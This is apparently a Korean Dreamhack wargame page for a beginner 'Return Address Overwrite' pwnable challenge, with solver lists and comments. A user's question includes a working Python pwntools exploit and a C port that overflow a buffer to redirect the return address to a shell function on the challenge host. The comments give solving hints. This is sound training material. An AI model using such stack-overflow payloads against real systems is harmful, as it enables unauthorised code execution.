LEVEL 1

Return Address Overwrite

pwnable
  • 문제 정보
  • 풀이 147
  • 난이도 투표 78
  • 질문 27
  • 최근 풀이자 3305
  • 댓글 53

문제 설명

Description

Exploit Tech: Return Address Overwrite에서 실습하는 문제입니다.

출제자 정보

avatar
Dreamhack
대표 업적 없음

First Blood!

avatar
Sechack
2024 Invitational Contenders
출제된 지 3시간 만에 풀이 완료!

난이도 투표 78

질문 24

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
같은 익스 코드를 C로 작성했는데 interactive 부분이 왜 동작하지 않는지 모르겠습니다.
문제를 풀었고 아래처럼 python으로 익스 코드를 작성했습니다. from pwn import * if name == 'main': context.log_level = 'debug' payload = b'A' * 0x30 + b'B' * 0x8 + b'\xAA\x06\x40\x00\x00\x00\x00\x00' rmt = remote('host3.dreamhack.games', 16605) rmt.send(payload) rmt.interactive() 잘 동작하는 것을 확인했고, 이를 C언어로도 풀어보고 싶어서 아래처럼 작성했습니다. #include <netinet/in.h> #include <sys/socket.h> #include <arpa/inet.h> #include <pthread.h> #include <string.h> #include <unistd.h> #include <stdlib.h> #include <netdb.h> #include <stdio.h> #include <time.h> #define HOST_NAME "host3.dreamhack.games" #define PORT_ADDR 12920 void exit_with_error(char * message) { fputs(message, stderr); fputc('\n', stderr); exit(1); } void print_bytes(uint8_t * bytes, size_t length) { for (int i = 0; i < length; i++) { printf("%02X ", bytes[i]); if ((i + 1) % 16 == 0) { puts(""); continue; } } if (length % 16 != 0) { puts(""); } puts(""); } void * recv_thread(void * arg) { int sock = *(int *)arg; char buffer[100] = {}; ssize_t recv_bytes; while (1) { recv_bytes = recv(sock, buffer, 100, 0); if (recv_bytes <= 0) { break; } printf("%s\n", buffer); } pthread_exit(NULL); } int main(void) { int sock; struct hostent * host; struct sockaddr_in serv_addr; pthread_t recv_thread_id; uint64_t binsh_addr = 0x4006AA; char buffer[100] = {}; char payload[0x40] = {}; memset(payload, 'A', 0x30 + 8); memmove(payload + 0x30 + 8, &binsh_addr, sizeof binsh_addr); if ((sock = socket(PF_INET, SOCK_STREAM, 0)) == -1) { exit_with_error("socket() error"); } if (!(host = gethostbyname(HOST_NAME))) { exit_with_error("gethostbyname() error"); } unsigned long ip_addr = ((struct in_addr *)host->h_addr_list)->s_addr; memset(&serv_addr, 0, sizeof serv_addr); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = ip_addr; serv_addr.sin_port = htons(PORT_ADDR); if (connect(sock, (struct sockaddr *)&serv_addr, sizeof serv_addr) == -1) { exit_with_error("connect() error"); } recv(sock, buffer, sizeof buffer, 0); print_bytes(buffer, sizeof buffer); memset(buffer, 0, sizeof buffer); ssize_t timer = 1024; if (send(sock, payload, sizeof payload, 0) == -1) { exit_with_error("write error"); } print_bytes(payload, sizeof payload); pthread_create(&recv_thread_id, NULL, recv_thread, (void *)&sock); puts("ineractive >>"); while (1) { printf("$ "); memset(buffer, 0, sizeof buffer); fgets(buffer, sizeof buffer - 1, stdin); if (!strcmp(buffer, "exit\n")) { break; } print_bytes(buffer, sizeof buffer); int send_bytes = send(sock, buffer, strlen(buffer), 0); if (send_bytes == -1) { printf("send failed"); break; } } pthread_join(recv_thread_id, NULL); close(sock); return 0; } interactive로 작성한 부분이 pthread_create부터입니다. 해당 코드 전까지는 입력도 잘 받고 출력도 잘 되지만, interactive부분부터 입력을 서버로 주면 출력을 받질 못합니다. 중간중간 디버깅 코드도 넣어서 돌려봤지만 잘 동작하지 않는 이유를 잘 모르겠습니다. 쉘코드와 함께 나오는 shell_basic 문제는 C언어만으로 해결했습니다.
RTFM

최근 풀이자 3305

knowledge
대표 업적 없음
개복치
대표 업적 없음
k1_t3
대표 업적 없음
sseung
대표 업적 없음
Glenn
워게임 고인물
mastpark2001
대표 업적 없음
seungho1911
강의 수강: 1
avatar
NT_DoHyun
대표 업적 없음
r4f
대표 업적 없음
sssswhatisit
대표 업적 없음

댓글 53

B0n9k
대표 업적 없음
제공되는 바이너리로 get_shell 주소 얻어야함... 제공되는 소스코드로 컴파일해서 얻은 바이너리로 하다가 1시간 넘게 날린듯 ㅠㅠ
Ma_Mu0228
대표 업적 없음
쉘을 얻었는지 확인할 때 명령어 2번 입력하세요, 전 1번만 하다가 도대체 왜 안되지 하며 1시간 날렸네요 ㅠㅠ
시건방진영수
대표 업적 없음
p64()가 사기인듯
O_F
대표 업적 없음
좋습니다.
CYBERKAST
대표 업적 없음
64bit임을 주의!
avatar
KnightChaser
공부벌레
easy
Ferris
대표 업적 없음
아... 제가 소스를 받아서 컴파일을 하면 안되고, 제공되는 "binary" 로 주소정보를 얻어야 하는 것이군요.. -_-;;; 아 이것때문에 삽질을..
sinse100
대표 업적 없음
와 IPC 에 대해 의도치 않게 알게됐다..
l000wk3y
공부벌레
버퍼 및 스택프레임 크기를 잘 계산해서 생각해보세요.
avatar
Ox0ne
대표 업적 없음
쉘보다 쉬운 듯,,,